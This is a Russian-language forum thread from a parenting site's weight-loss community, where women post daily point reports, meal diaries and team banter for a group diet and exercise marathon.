Наталья
→
Клуб Стройнеющих
Стройнеем вместе(здесь пишем марафоны,которые уже идут, или предложения о марафоне)
Мама девочки (5 лет), планирую беременность
Кладно
Марафон "ПОСЛЕДНИЙ ГЕРОЙ 3" - День второй - 90
Главный пост марафона тут - http://www.babyblog.ru/community/post/hudeem/3061677
Подумаешь испытание... Фигня все это... Да и в племенах теперь все знают друг друга в лицо... А кто-то из тех, кто ведет за нами киносъемку скрытой камерой проговорился, что чешем мы в сторону какого-то транспорта.. Да без проблем - продолжаем идти...
Правда сегодняшняя дорожка более узкая и не всегда удастся миновать трудные участки... Но вот тут и проявится командный дух... Чтобы никто не был отчислен из племени ВСЕ ЧЛЕНЫ ПЛЕМЕНИ ДОЛЖНЫ ДОЙТИ ДО КОНЦА дороги... Если кто-то из племени по «причинческим технинам» или из-за немощи не может проскакать какой-то кусок - ПОМОГАЙТЕ!!!
(другими словами - Маша может отжиматься от забора до заката, Даша отжиматься не умеет совсем .. Даша просит Машу, Маша отжимает и за неё)...
СЕГОДНЯ БАЛЛЫ ЗА ДЖОКЕР НАЧИСЛЯЮТСЯ ОЧЕНЬ ПРОСТО - ДОШЛА (сама или с помощью не важно)=4 балла, НЕДОШЛА=0 баллов.
Найдите значок своего племени и вперед.... от стрелки вверх любым крайтчайшим маршрутом)
И не забывайте - СЕГОДНЯ ДЕНЬ КОМАНДНЫХ СОРЕВНОВАНИЙ...
и если ваша командная миссия вроде бы как выполнена и можно валяться на песочке и грызть бананы, НО ПОМНИТЕ - ОТ ВАШЕГО ДНЕВНОГО РЕЗУЛЬТАТА ЗАВИСИТ КАКИЕ ПЛЕМЕНА ПОЙДУТ НА СОВЕТ (4 из 10).
Так что Имей совесть - не подводи своих!!!
Твое племя ждет от тебя 22 балла - не меньше!!!
Не забудь отчитаться сегодня (или на крайняк завтра до 12 утра) - иначе твои баллы в комадный зачет не поступят.
Таблички
НОВИЧКИ ПЕРВЫЕ 3 ДНЯ ВЫКЛАДЫВАЮТ СВОИ ДНЕВНИЧКИ ПИТАНИЯ!!!
И поверьте это надо не мне... )))) Если вы не выкладываете таблицы из программ, то хотя бы пишите сколько было за день ккал и жиров в граммах.
Вечером Бендер будет ждать отчетов...
Отчитываемся здесь приблизительно так:
№ и ИМЯ СУПЕРГЕРОЯ
Нет сладкому - 5, 5/6 приемов пищи - 1, БЖУ -2, вода - 1, приготовление - 1, фильтр - 2
Если вы этакие молодцы и сделали пункты ПП на все 12 - то можно не расписывать, а просто писать ПП - 12
Спорт - 5 (программа такая-то)
Джокер - 4
Уход - 1 (массаж, скраб или что-то еще)
ИТОГО: 22 балл
Мама троих (16 лет, 11 лет, 11 лет)
Анбэцу
У нас опять потеря.... очень жаль, но такая жесть через 1,5 месяца после кесарева.... это выше моего понимания.
мож ещё кто в запаснике есть?
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
неа... и в любом случае из запасника уже бы шли не к вам))
так что у вас теперь известен реальный состав... как и у многих...
а в вскр-е будет удаление неотчитанцев... если их на голосовании до этого не отчислят)
0
18.08.2015
Ответить
Мама троих (16 лет, 11 лет, 11 лет)
Анбэцу
У нас Лапушка выбыла.... пока нас 8, но что-то у меня нехорошее предчувствие...
0
18.08.2015
Ответить
Мама двоих (14 лет, 12 лет)
Ескисехир
Ну, Наталья... ну и джокер!! =) Отмахала за себя и за "того парня" Лапушку, а она выбыла. передадим право кому-то еще. Я сразу после Джилл.. ох и хорошо 4 минуты планки! С перерывами по минуте. Считается? Для меня планка и пистолетик это что-то очень крутое пока
0
18.08.2015
Ответить
Мама двоих (14 лет, 12 лет)
Ескисехир
A mojno na obed olivki bez kostochek gramm 20?
0
18.08.2015
Ответить
Мама троих (16 лет, 11 лет, 11 лет)
Анбэцу
Оливки - это консервы.. в консервах сахар.. сахар нельзя
Наталь, я помню свой горошек консервированный)))
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
у меня оливки без сахара... постоянно ем...
0
18.08.2015
Ответить
Мама двоих (14 лет, 12 лет)
Ескисехир
Y nas na razves rezanie bez kostochek. Sproshy v magazine chto tam nih
0
18.08.2015
Ответить
Мама двоих (14 лет, 12 лет)
Ескисехир
Oni yje rezanie na rasves daje ne znyu kak sdelani. Ne budu luchshe. Spasibo
0
18.08.2015
Ответить
Мама двоих (25 лет, 14 лет)
Прага
№ 84 племя воздуха
Нет сладкому - 5 (немного можно)
Приемов пищи - 5 -1
Бжу - 2
Вода - 1
Приготовление - 1
Фильтр - 2
Спорт - 5 Джуллиан Майклс
Джокер - 4
Уход - 1 (пилинг грубой щеткой проблемные места)
Итого : 22
Завтрак: овсяные хлопья (семена льна, чиа, немного изюма + 1ч.л. меда)
Завтрак 2: салат (отварной картофель, помидор, кукуруза, руккола, семена кунжута, 1 ст. л. оливкового масла)
Перекус: банан + яблоко +сливы (2 дольки черного шоколада).
Обед: суп рисовый (куриный бульон, картофель, рис, лук, морковь) без масла. 1,5 кусочка хлеба (правильного), отварное куриное мясо.
Перекус: отварная брокколи
Ужин: отварная курица, помидор, 1 яйцо, огурец + 1 ч.л. оливкового масла, 1 ч.л. бальзамтко (состав смотрела сахара нет). По ккал норма.
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
Лен, тут эксклюзивный случай... тут можно ... тут даже не поддержка тут скорее набор....
0
18.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Владимир
Ой, тогда сори...я привыкла, что в основном тут худеющие, тем более новенькие)
0
18.08.2015
Ответить
Мама двоих (25 лет, 14 лет)
Прага
это я его сюда приплюсовала, а вообще утром с кофем ела, не могу без сахара пить, а тут вот обхожусь. \пишу с телефона, нет сил исправлять) Буду внимательна, спасибо за контроль!
0
18.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Владимир
Сорри, Наташа ниже написала, что тебе можно)))
0
19.08.2015
Ответить
Мама двоих (25 лет, 14 лет)
Прага
Все ок))) Я вот хочу в конце недели увидеть свой вес 
Я обычно кусачничала в течении дня и только полноценно вечером кушала, так что для меня это тоже сложно. Но как оказывается можно полноценно 5-6 раз, только бы привыкнуть навсегда!
Я обычно кусачничала в течении дня и только полноценно вечером кушала, так что для меня это тоже сложно. Но как оказывается можно полноценно 5-6 раз, только бы привыкнуть навсегда!
0
19.08.2015
Ответить
Мама двоих (15 лет, 11 лет)
Астрахань
Добрый вечер!!! Пока шла к цели, любовалась прекрасными видами..за окном +27, но приближение осени чувствуется....поэтому вечером устроила себе пробежку, взяла собаку и впепед))) Пп 12 Спорт 5 -бег Джокер 4 Уход 1 антицел. Кремушек. Теперь питание... Завтрак-овсянка с ежевикой Перекус -яблоко Обед суп с фрикадельками без пассировки Перекус кефир Ужин творог с укропчиком.
0
18.08.2015
Ответить
Мама двоих (15 лет, 11 лет)
Астрахань
Овсянка на молоке домашнем и творог тоже "деревенский"...поэтому с ккал все нормально
0
18.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Владимир
27!!! Завидую....у нас уже 4й день 12-15 градусов(((
0
18.08.2015
Ответить
Мама двоих (15 лет, 11 лет)
Астрахань
27 у нас в 8 вечера.....днем около 32 в тени....и это уже прохладно....в июле и первых числах августа по 40 в тени...
0
18.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Владимир
ничего себе! А у нас весь июль холодный был...даже курточки осенние носили(((( эх, надо переезжать в теплые края, я теплолюбивый зверь)
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
у нас полтора месяца было от 32 до 39... ващеееееееее...кайф....
0
18.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Владимир
я тооже хочу!!!! Может уломаю все-таки мужа переехать через пару-тройку лет))
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
а у нас это не нормальное лето.. такое жаркое было 180 лет назад только))) но в общем мне нравится тут климат.. комфортнее чем в Мск...
0
18.08.2015
Ответить
Мама двоих (15 лет, 11 лет)
Астрахань
У нас еще весь сентябрь теплый...цветы до ноября цветут....
0
19.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Владимир
Это очень круто, в Астрахань мужа могу попробовать заманить рыбалкой))) но я конечно мечтаю жить на берегу моря))))
0
19.08.2015
Ответить
Мама двоих (15 лет, 11 лет)
Астрахань
Я тоже хочу на море!!!! Не смогла бы в средней полосе жить..привыкла к солнцу, свету и жаре летом..но зато зимой у нас грустно..ветра силтные, мороз и нет снега...
0
19.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Владимир
У нас тоже иногда зимой снега не бывает((( В этом году даже санки не доставали....
0
19.08.2015
Ответить
Мама троих (21 год, 17 лет, 9 лет)
Москва
52 Татьяна
Питание 12
Спорт 5
Джокер 4
Уход 1(устроила себе кайф, сходила на обертывание в салон:-))))
Итого: 22
0
18.08.2015
Ответить
Мама троих (21 год, 17 лет, 9 лет)
Москва
Ну мне ж теперь сладкое нельзя, даже фрукты и другие углеводы ограничены. Теперь ищу другие удовольствия:-))))
0
18.08.2015
Ответить
Мама троих (21 год, 17 лет, 9 лет)
Москва
Ну когда ставят преддиабет, то как-то легче отказываться:-)) Хотя сейчас уже анализы в норме и тянет на сладкое скорее в качестве утешения, а не так как раньше - без конца и все время. Уже 4 неделя пошла. Сейчас стала есть больше фруктов, чем разрешено(можно 2 в день), так вес сразу вверх пополз...
0
18.08.2015
Ответить
Мама троих (21 год, 17 лет, 9 лет)
Москва
Так я и слушаюсь:-) Диету изначально давали на 3 недели, но я прочитала, что в идеале всю жизнь так питаться. Сладкое максимум 1 раз в месяц. И вес стоит:-( Ушло 2,5 кг и все. Как-то грустно. Но я вернулась в зал и продолжаю:-)
0
18.08.2015
Ответить
Мама троих (21 год, 17 лет, 9 лет)
Москва
Ну и когда объясняют, что сладкого хотелось не потому, что тряпка слабовольная, а потому что сахар низкий и организм требует. То есть чистая физиология. И сейчас самочувствие лучше намного! А то уже и слабость была, и голова кружилась.
0
18.08.2015
Ответить
Мама мальчика (14 лет)
Кёльн
Нр 6, Металл
ПП 4 балла Спорт - 5 (тренажёры)Джокер - 4 балла, девочки из команды один бал далиУход - 1 (крем)ИТОГО: 14 балл
0
18.08.2015
Ответить
Мама двоих (13 лет, 9 лет)
Ростов-на-Дону
А разве можно 3 балла за джокер? Я так поняла либо сделала, либо нет: 4 или 0...
0
18.08.2015
Ответить
Мама мальчика (14 лет)
Кёльн
ну да, сделала 2 ячейки, получила 1 балл, сделала 4 ячейки, плучила 2 балла. Думаю, я правильно поняла
0
18.08.2015
Ответить
Мама двоих (15 лет, 12 лет)
Краснодар
Нет, сегодня либо все упражнения джокер и 4 балла, либо если не все то 0, если нет сил пройти остальное можно попросить помощи у своего племени...
0
18.08.2015
Ответить
Мама двоих (12 лет, 9 лет)
Выше написано: сегодня баллы за джокер начисляются очень просто, дошла = 4, не дошла =0
0
18.08.2015
Ответить
Мама двоих (14 лет, 12 лет)
Ескисехир
Komandniy den. Mi so Svetlanoy dodelali ostalnoe =)
0
18.08.2015
Ответить
Мама двоих (13 лет, 9 лет)
Ростов-на-Дону
А мне было скучно и я сфоткала свой новый велотренажёр. Очень хочется похвастаться))) я такая довольная!
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
А мы так какбы случайно тоже "Ой какой крутой! Ой поздравляем! И гантелечки симпотные!"
0
18.08.2015
Ответить
Мама двоих (13 лет, 9 лет)
Ростов-на-Дону
Ну, а ты бы, Натали, разве бы не похвасталась?!
У меня даже мама моя в свои 58 лет педали на нем крутит каждый день по утрам.
Правда она еще и курить не хочет бросать 
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
да я б на таком даже пила бы...))) а сколько зомбисериалов можно пропедалировать!!!
0
18.08.2015
Ответить
Мама двоих (13 лет, 9 лет)
Ростов-на-Дону
Пить не удобно будет. У него высокая посадка. Обратно только выпадать. И да, я уже 2 сериала в июне пропедалировала. Пока не заболела.
А мама моя крутит под "доброе утро, Россия"
0
18.08.2015
Ответить
Мама троих (14 лет, 12 лет, 8 лет)
Москва
Круто! Поздравляю! Тоже себе мечтаю эллипс купить)
0
18.08.2015
Ответить
Мама двоих (12 лет, 5 лет)
Люберцы
Замечательно я покупка)))))поздравляю)))
0
18.08.2015
Ответить
Мама мальчика (11 лет)
Киев
Привет!№59, племя льда
Нет сладкому - 5, 5/6 приемов пищи - 1, БЖУ -0, вода - 1, приготовление - 0, фильтр - 2Спорт - 5 (Джиллиан, 1 уровень)Джокер - 4Уход - 1 (массаж живота)ИТОГО: 19 баллов
дневник питания
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
сухари пшеничные я так предполагаю на пп никак не потянут... или ты их сама делала из какого-то приготовленного пп-хлеба? вермишель из твердых сортов? сало - это завал фильтра...
вообще все меню просто катастрофа... это надо выкладывать как пример что так есть нельзя...
на сколько я понимаю за пп будет 2 балла...
0
18.08.2015
Ответить
Мама мальчика (11 лет)
Киев
тосты из пшеничного хлеба, вермишель - да, сало... ок. Поняла всё
0
19.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
Я реально такого караула не видела еще ни разу... А если икра покупная, то там вагон масла и сахар...
Короче почитай устав, книжку которую Валя прислала и анализируй...
0
19.08.2015
Ответить
Мама мальчика (11 лет)
Киев
Икра домашнего приготовления, все овощи в ней печеные. Устав читала. Книжку - да, посмотрю.
0
19.08.2015
Ответить
Мама двоих (11 лет, 9 лет)
Москва
Земля 88.
Пп 12 (еще 3 яблочка, они не влезли).
Спорт 5
Джокер 4
Уход 0((
Итого 21
Пп 12 (еще 3 яблочка, они не влезли).
Спорт 5
Джокер 4
Уход 0((
Итого 21
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
рис на ужин = завал распределения бжу... ПП 10
жиров катострофически мало... нельзя опускать ниже 30 грамм... у тебя только 13.. твоя кожа тебе спасибо не скажет...
0
18.08.2015
Ответить
Мама двоих (11 лет, 9 лет)
Москва
Блин, а почему рис нельзя? Коричневый можно на ужин?
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
никакой нельзя... почитай про распределение бжу в уставе...
0
18.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Владимир
А в крабовом мясе сахар есть в составе....тоже люблю, но уже давно от них отказалась...
0
18.08.2015
Ответить
Мама троих (24 года, 21 год, 12 лет)
Сергиев Посад
Племя Огня №31 Нет сладкому - 5, 5 приемов пищи - 1, БЖУ -2, вода - 1, приготовление - 1, фильтр - 2 ПП - 12 Если Натали не осудит
Спорт - 5 (Тони Хортон - Beachbody Power Half Hour, второй день легче)
Джокер - 4 (делала вечером, муж оценил, особенно поднятие попы 
)Уход - 1 (скраб, пошла расслабляться)ИТОГО: 22 балл
Спорт - 5 (Тони Хортон - Beachbody Power Half Hour, второй день легче)
Джокер - 4 (делала вечером, муж оценил, особенно поднятие попы )Уход - 1 (скраб, пошла расслабляться)ИТОГО: 22 балл
0
18.08.2015
Ответить
Москва
Я сегодня поднятие попы в тренажерном зале делала. Коллеги тоже оценили))
0
18.08.2015
Ответить
Мама двоих (15 лет, 12 лет)
Краснодар
А овес 300 гр на завтрак - это сухой крупы или готовой каши? Просто из 300 гр крупы выйдет почти 1 кг каши, а для 300 гр каша калорий многовато...
0
18.08.2015
Ответить
Мама двоих (12 лет, 5 лет)
Люберцы
Мне кажется столько каши не съесть) это в сухом виде измеряется) максимум 100 г
0
18.08.2015
Ответить
Мама троих (24 года, 21 год, 12 лет)
Сергиев Посад
Девочки очепятка, конечно не 300, а 30 гамм , даже не обратила внимания. 
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
)))) небольшая такая очепяточка - блюдечко и ведро))))
0
18.08.2015
Ответить
Мама двоих (14 лет, 12 лет)
Ескисехир
No 66 Металл
ПП 12
Спорт 5 Бодишред воркаут4
Джокер 4 плюс дополнительная планка и ножницы (кому отдавать?)
Уход 1
Итого 22
Лифалиф наша овсянка
Овощи на обед как обсуждали, без томатной пасты и масла.
Калорий опять маловато, доберу вечером творогом.
0
18.08.2015
Ответить
Мама троих (16 лет, 11 лет, 11 лет)
Анбэцу
Никому не отдавай! У нас ещё два не отчитанца зависли)))
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
слушай..а ты точно съедаешь 100 грамм сухого этого лифалифа? ну т.е. он у тебя разваривается из 100 грамм или ты взвешиваешь сварифшийся? просто ккал дофига это такая миска наверно??
0
18.08.2015
Ответить
Мама двоих (14 лет, 12 лет)
Ескисехир
Точно 100 грамм. Могу сфоткать. Там на 100 гр 350 калл написано на упаковке. Взвешиваю сухое кухонными весами. овсянка и немножко изюма и чего-то еще внутри. но сами штучки овсяные поплотнее геркулеса привычного. Иногда ем 80, как насыпется. И я не варю. Я просто горячим молоком заливаю и жду минут 5. Я не люблю кашу. А так классно, и не размякает и не сухое.
добавляю нам командный список. Светлана молодец, так прописала четко все. Только про Ирину-Гамору надо уточнить.
1. № 6 Татьяна - 4 балла (6 ячеек)
2. № 26 Бегемот - 4 балла (10 ячеек своих + 2 Приседания и Скручивания)
3. № 36 Ирина (Гамора) - 4 балла сделает всё! Она ответственная очень))))1. № 46 Екатерина - 4 балла (10 своих)
5. № 56 Yana - 4 балла (10 своих)
6. № 66 Ксения - 4 балла (10 своих + 2 Планка и Ножницы)
7. № 76 Twitty - 4 балла (10 своих)
8. № 86 Мэри - 4 балла (10 своих)вот Лифалиф
Б 10,7 ж 8,5 у 57,4
Б 10,7 ж 8,5 у 57,4
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
ок... просто многие по началу путают сухой вес и вес готового блюда...
Иришка Жанне отчитывается смсками - она ответсвенная, так что думаю все будет отл...
0
18.08.2015
Ответить
Мама двоих (13 лет, 10 лет)
Москва
А почему у меня красный квадратик в племени металла?
0
18.08.2015
Ответить
Мама двоих (14 лет, 12 лет)
Ескисехир
http://m.babyblog.ru/user/id1533427/178935 vot tyt nasha gostevaya. Otpshis tam i podpishis na etot post
0
18.08.2015
Ответить
Мама троих (16 лет, 11 лет, 11 лет)
Анбэцу
Потому что ты количество баллов не посчитала, иди в гостевую - пиши чё сделала за вчера - вместе посчитаем и Наталье голубем отправим
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
там вопросов мильен у меня к тебе было и в итоге непонятно что ставить... я тебе их все вчера написала.. посчитайт со Светиком и пришлите итого...
0
18.08.2015
Ответить
Мама двоих (13 лет, 10 лет)
Москва
Извините не справлюсь пока. Выхожу из марафона
0
18.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Владимир
Всем приветик! Ветер №10
ПП 10 (завал бжу картохой на полдник), Джокер 4, спорт 5 (Шон рокин боди - не прониклась, завтра альфу начну), Уход 1 (лосьон для тела) отключили горячую воду на 2 недели(((( кошмар! Итого: 20
0
18.08.2015
Ответить
Мама двоих (15 лет, 12 лет)
Краснодар
У нас воду отключали как раз когда Супергеройский марафон шел, я тогда как раз гамму проходила... Носилась с кастрюльками три раза в день)))
0
18.08.2015
Ответить
Мама двоих (13 лет, 9 лет)
Ростов-на-Дону
как я тебя понимаю, я после велотренажера стираю всё- трусы, носки, майки шорты и полотенце. Мокрая вся!
0
18.08.2015
Ответить
Мама двоих (15 лет, 12 лет)
Краснодар
Ооо, кардиотрени летом в жару это вообще жесть... у нас элипс, так я после тренировки на нем с коврика лужу которая с меня натекает вытираю)))
0
18.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Владимир
Ну а что делать) Буду с кастрюльками бегать... 
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Тула
Ветор 90.
Питание:
1. Два блинчика с творогом. Кофе с молоком
2. Зеленый чай с ложкой меда, сухарик
3. Борщ без пережарки
4. Стакан кефира
5. творог 2%, ежевика
По фильтру вроде прошла?ягоды можно простить?
Джокер 4, питание 5 раз -1, спорт 5 - тренажерка, фильтр 2, нет сладкому 5 (правильно т.к. до обеда ?) Приготовление 0, т.к. блины жарены на масле, воды не допила сегодня...
Итого 17, по бжу мне так лень заморачиваться.... прошла вроде? Тогда 19
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Тула
В корень зришь))) с пшеничной) Но это был завтрак перед тренажеркой...
0
18.08.2015
Ответить
Мама двоих (14 лет, 11 лет)
Москва
Все равно)) даже если завтрак, это мучное. Овсяноблин или с цельнозерновой мукой можно
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
правильно пишешь... и ежевика завалила распределение бжу...
кроме того тут явная нехватка ккал ... и нормальных жиров, а не ядовитого горелого масла...
за пп в итоге 4
0
18.08.2015
Ответить
Москва
#20 Племя Ветра. Пп(сижу на фазах, котор.Марина-мандарина посоветовала, как же тяжко дается белковый день без молочки. Как я только не извращалась с разрешенными продуктами)) ну так на заметку брокколи+кур.груд+лук+белок+ специи и в мультиварку, вкусно оказалось, но по углям очень соскучилась, ураааа завтра каша!!! Ну короче 12б Спорт кардио на эллипсе час 5б Джокер 4б Уход крема 1б Итого: 22б я
0
18.08.2015
Ответить
Мама двоих (11 лет, 8 лет)
Тольятти
Почему, Наташ..? Я тоже хотела попробовать, думаешь, очень жесть будет, да? Марина пишет, метаболизм хорошо разгоняет..
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
Я вообще не могу есть по расписанию и по списку... я зохотела чтото - ем... как по мне то это уж совсем надо делать на стадии финальной доработки... перед пляжем или соревнованиями... Ну ММ в роликах иногда снимается - это имеет смл наверно, но всетки так есть не будешь прям все время, а тогда зачем над соббой издеваться.. ну вот сколько времени эффект продержится? на сколько он будет отличный от еще двух=трех месяцев пп спорт и массажа?
0
18.08.2015
Ответить
Мама двоих (11 лет, 8 лет)
Тольятти
Та программа вроде как на месяц расчитана.. За это время метаболизм разгоняется до максимума, и, наверное, держится потом еще какое-то время таким. Но я согласна с тем, что в этом есть смысл, если к определенному "мероприятию", потому что "на всю жизнь" так питаться точно не станешь.. Но возможно и как этап в переходе на "пожизненное ПП", вот этот вариант мне больше всего импонирует
0
19.08.2015
Ответить
Москва
Да тут на какие только ухищрения не пойдешь. Пп уже 3 мес плотно, я влилась без нарушений. Силовые, кардио. Ккал считала, вес устраивает и выгляжу хорошо, но животик не уходит, внизу живота и на боках жирок, он очень меня раздражает и всю картину портит(( вот и решилась на метаболизм. Благо ешь все как на пп, но вот не знала я, что я такой молочкоманияк))) думаю со след нед будет легче, по крайней мере надеюсь)))
0
18.08.2015
Ответить
Мама девочки (25 лет)
Щелково
Дневник питания 18.08.2015
Завтрак - ПП торт, кофе черный.
Перекус - две маленькие груши
Обед - перец фаршированный фаршем из куриной грудки и лука, икра баклажанная с грибами, хлебец гречневый.
Перекус - творог мягкий нежность, кофе черный.
Ужин - сердечки куриные + сладкий перец, помидор, кусочек вареной красной рыбы
Второй ужин - кефир 2,5%
ПП - 12
Спорт 5 (ФУНКЦИОНАЛЬНЫЕ ТРЕНИРОВКИ урок 1 с Яной Павлюк) 30 мин
Джокер 4 (сложно было, но сделала все сама)
Уход 1 - массаж бедер и ягодиц силиконовой баночкой
Итого: 22
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
Танюш, молодец!
А номер и племя? я еще не выучила кто у нас где...
0
18.08.2015
Ответить
Мама двоих (18 лет, 11 лет)
Нижний Новгород
А отжимания "по-взрослому" или с колен можно? Я нормальные отжимания не больше чем по три за раз смогу ( в супергеройстве только научилась) и с перерывами.
0
17.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
посмотри во вчерашнем посту в расшифровке... развод рук с гантелями...
0
17.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
по-взрослому!!!!
сделаешь сама 5 и попросишь кого-нить )))
0
17.08.2015
Ответить
Мама мальчика (12 лет)
Хорлово
Наташа, я выбываю, никак не могу совмещать с работой спорт. После декрета очень тяжело втянуться, сижу в студии до ночи каждый день, выползаю еле живая. Такой крутой марафон и соревнования я очень люблю, но пока предется выбирать работу(((( всем удачи!
0
17.08.2015
Ответить
Мама троих (16 лет, 11 лет, 4 года)
Воронеж
Всем привет.Племя льда № 39.Завтрак: 2 яйца вареных, чай.2 -ой завтрак: яблоко и позже,но до обеда арбуз.Обед: овощи тушеные с курицей, сок свежевыжатый (морковь-яблоко-тыква).Полдник: чай с сыром(легкий).Ужин: минтай вареный с помидорами, чай.На сайте диетс зарегистрировалась,но пока осваивание в процессе, поэтому дневник питания пока такой.Баллы: нет мучному и сладкому - 5, приготовление пищи - 1, 5-6 приемов пищи - 1, фильтр - 2, вода - 1, бжу - 2.ПП 12 баллов.Спорт: Шон Ти альфа скорость и джокер - 5+4=9 балловУход: маска на лицо и еще будет восстанавливающая ванночка для ног - 1 б.Итого 22 балла.
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
у тебя опять недобор по ккал... это и без диетса.ру видно... ешь круповые гарниры или каши с утра... к тому же ты с шоном скачешь - тебе нудна энергия. у тебя недобор углей - организм начнет сжирать мышцы ...
0
18.08.2015
Ответить
Мама двоих (12 лет, 5 лет)
Люберцы
Присоединюсь к комментам) кушай, чтобы энергия была))))
0
18.08.2015
Ответить
Мама мальчика (13 лет)
Москва
№89 Лед
пп-12
спорт 5 (шон ти т25)
джокер 4
уход 1 антиц. крем
итого 22 балла
з. фруктовый салат с йогуртом
п кефир
о кур. грудка огурец
п кефир
у кур печень в сметане кабачок тушенный
перед сном кефир
вода 2л
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
ты уверена что у тебя ккал достаточно? мне кажется что жосткий недобор...
0
18.08.2015
Ответить
Мама двоих (12 лет, 5 лет)
Люберцы
Ого) кефир-перекус) это сколько по объему) скудновато, Лена) и 3 недели на таком рационе сложно выдержать)
0
18.08.2015
Ответить
Москва
Можно выпады в петлях сделать? На полу и скамье у меня техника страдает.
0
17.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
о да! можешь! как я могу тебе отказать в чем-то более сложном, чем то что написано))))
0
17.08.2015
Ответить
Москва
)))))))))))
Наташа, а как быть если кто-то из племени не объявился?
0
17.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
забить .. не будете же вы фантомы таскать))) так что тащим тех, кто в наличии...
0
17.08.2015
Ответить
Москва
Поняла, спасибо.
У меня опять дикое желание начать делать упражнения прямо сейчас)) Но утра дождусь все-таки.
0
17.08.2015
Ответить
Москва
Девочки НАДЯ и АННА из племени Ветра найдитесь!)
Вот ссылка на гостевую Племя ВЕТРА добавляйтесь в друзья.
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
Надя сегодня попросилась в люди... не успевает...
0
18.08.2015
Ответить
Мама двоих (18 лет, 11 лет)
Нижний Новгород
Я иду, видимо, кругами)))
Уже почти дошла до вас, родное племя! Вчера пол ночи искала, а сегодня с простудой и на рабу на весь день ускакала определила по солнцу направление и бегу к вам приседами))))
0
18.08.2015
Ответить
Москва
А я тебя объявила в розыск, почти в полицию позвонила))) рада присоединению, ряды наши пополнились и это хорошо) поправляйся!!!
0
18.08.2015
Ответить
Мама двоих (12 лет, 5 лет)
Люберцы
Лед 79 Пп-12 (напекла я значит себе печенек:банан, творог, овсянка на завтрак, а муж пришел и съел на УЖИН) голодная я не останусь, но пп рулит, ведь у него выбор был-блинчики) Спорт-5 ( утренний -5 утра-забег по своему маршруту) Джокер-4 (выполнила 2 раза в 2 подхода, танцы и растяжку один махом только) вот тянуться надо каждый день, чтоб не дереветь) где б терпения набраться?) Уход-1 (кремик) Итого:22 балла) едем дальше ( фраза из любимой сынулькой песни))))))
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
а мой считает что мафины это мифическая еда..ибо я их всегда ем, но он из никогда не видел.. я ж с утра их ем, а он на работе)))
0
19.08.2015
Ответить
Мама двоих (12 лет, 5 лет)
Люберцы
Оооооо) ты всегда печешь на один прием? На завтра хочу попробовать)
0
19.08.2015
Ответить
Мама девочки (11 лет)
№ 32 Племя воды
ПП - 12 (решила сегодня подвязать питье воды с кормлением. Т.е дневных кормлений 5, перед кормлением или после, обязательно чашка воды (300 мл). Дисциплинирует отлично, не напрягает. Рекомендую)
Спорт.... - 0 (не успела, сделала джокер в один детский сон, а вот на степпер не хватило времени, непорядок, знаю)
Джокер - 4
Уход - 1 (пойду намажусь маслом пахучим)
ИТОГО: 17 балов
0
18.08.2015
Ответить
Мама девочки (11 лет)
не-а, я сегодня как первоклашка- нагладила штаны, майку, в спортивный топ ваты подложила:) - завтра в зал!!!!!!! А форсмажор возьму 22 (у мамы ДР) и 29 (у мужа ДР)
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
ну смари сама..племя у тебя сильное... а сегодня день командный)))
0
18.08.2015
Ответить
Мама троих (14 лет, 12 лет, 3 года)
Племя воды, номер 42.
ПП - 12,
Спорт - 5 (утром час бега, вечером спиннинг)
Джокер - 4
Уход - 1 (банка для попы)
Всего: 22
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
в голове кроме удочки-спининга ничего не обнаружилось))) видимо динамичная тайская рыбалка)))
0
18.08.2015
Ответить
Мама троих (14 лет, 12 лет, 3 года)
=))))) я не знаю, как еще называют, но у нас спиннинг - групповое занятие на велотренажерах=))) единственные групповые, куда хожу и рвусь) мне ооочень нравится)
0
18.08.2015
Ответить
Мама мальчика (11 лет)
Подольск
встала утром еле еле.. Сначала на пол спустилась одна нога, потом вторая, потом села на пол и с огромным трудом встала.. я развалюха..
0
18.08.2015
Ответить
Мама троих (16 лет, 11 лет, 11 лет)
Анбэцу
а у меня усохшие квадры.... пойду ещё поприседаю
0
18.08.2015
Ответить
Мама двоих (15 лет, 12 лет)
